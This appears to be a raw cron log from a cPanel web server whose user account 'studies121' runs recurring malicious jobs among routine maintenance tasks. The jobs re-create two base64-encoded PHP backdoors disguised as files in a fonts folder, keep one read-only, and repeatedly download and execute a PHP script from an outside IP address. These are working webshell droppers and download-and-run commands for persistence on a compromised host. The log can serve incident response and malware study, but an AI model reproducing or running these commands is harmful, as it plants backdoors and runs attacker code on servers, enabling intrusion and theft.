Sep 22 05:03:01 ip-184-168-122-23 CROND[22471]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 05:03:01 ip-184-168-122-23 CROND[22470]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 05:03:01 ip-184-168-122-23 CROND[22472]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 05:03:01 ip-184-168-122-23 CROND[22473]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 05:04:01 ip-184-168-122-23 CROND[22642]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 05:04:01 ip-184-168-122-23 CROND[22644]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 05:04:01 ip-184-168-122-23 CROND[22646]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 05:04:01 ip-184-168-122-23 CROND[22645]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 05:04:01 ip-184-168-122-23 CROND[22647]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 05:05:01 ip-184-168-122-23 CROND[22882]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 05:05:01 ip-184-168-122-23 CROND[22884]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 05:05:01 ip-184-168-122-23 CROND[22886]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 22 05:05:01 ip-184-168-122-23 CROND[22887]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 05:05:01 ip-184-168-122-23 CROND[22888]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 05:05:01 ip-184-168-122-23 CROND[22889]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 05:05:01 ip-184-168-122-23 CROND[22891]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 05:06:01 ip-184-168-122-23 CROND[23023]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 05:06:01 ip-184-168-122-23 CROND[23026]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 05:06:01 ip-184-168-122-23 CROND[23027]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 05:06:01 ip-184-168-122-23 CROND[23029]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 05:06:01 ip-184-168-122-23 CROND[23028]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 05:07:01 ip-184-168-122-23 CROND[23171]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 05:07:01 ip-184-168-122-23 CROND[23173]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 05:07:01 ip-184-168-122-23 CROND[23175]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 05:07:01 ip-184-168-122-23 CROND[23174]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 05:08:01 ip-184-168-122-23 CROND[23355]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 05:08:01 ip-184-168-122-23 CROND[23357]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 05:08:01 ip-184-168-122-23 CROND[23360]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 05:08:01 ip-184-168-122-23 CROND[23358]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 05:08:01 ip-184-168-122-23 CROND[23359]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 05:09:01 ip-184-168-122-23 CROND[23495]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 05:09:01 ip-184-168-122-23 CROND[23494]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 05:09:01 ip-184-168-122-23 CROND[23496]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 05:09:01 ip-184-168-122-23 CROND[23498]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 05:09:01 ip-184-168-122-23 CROND[23501]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 22 05:10:01 ip-184-168-122-23 CROND[23645]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 05:10:01 ip-184-168-122-23 CROND[23646]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 05:10:01 ip-184-168-122-23 CROND[23649]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 05:10:01 ip-184-168-122-23 CROND[23655]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 05:10:01 ip-184-168-122-23 CROND[23654]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 05:10:01 ip-184-168-122-23 CROND[23653]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 05:10:01 ip-184-168-122-23 CROND[23656]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 05:10:01 ip-184-168-122-23 CROND[23657]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 05:11:01 ip-184-168-122-23 CROND[23772]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 05:11:01 ip-184-168-122-23 CROND[23775]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 05:11:01 ip-184-168-122-23 CROND[23774]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 05:11:01 ip-184-168-122-23 CROND[23776]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 05:12:01 ip-184-168-122-23 CROND[23973]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 05:12:01 ip-184-168-122-23 CROND[23975]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 05:12:01 ip-184-168-122-23 CROND[23974]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 05:12:01 ip-184-168-122-23 CROND[23977]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 05:12:01 ip-184-168-122-23 CROND[23976]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 05:13:01 ip-184-168-122-23 CROND[24151]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 05:13:01 ip-184-168-122-23 CROND[24152]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 05:13:01 ip-184-168-122-23 CROND[24153]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 05:13:01 ip-184-168-122-23 CROND[24154]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 05:14:01 ip-184-168-122-23 CROND[24271]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 05:14:01 ip-184-168-122-23 CROND[24272]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 05:14:01 ip-184-168-122-23 CROND[24273]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 05:14:01 ip-184-168-122-23 CROND[24275]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 05:14:01 ip-184-168-122-23 CROND[24276]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 05:15:01 ip-184-168-122-23 CROND[24420]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 05:15:01 ip-184-168-122-23 CROND[24424]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 05:15:01 ip-184-168-122-23 CROND[24426]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
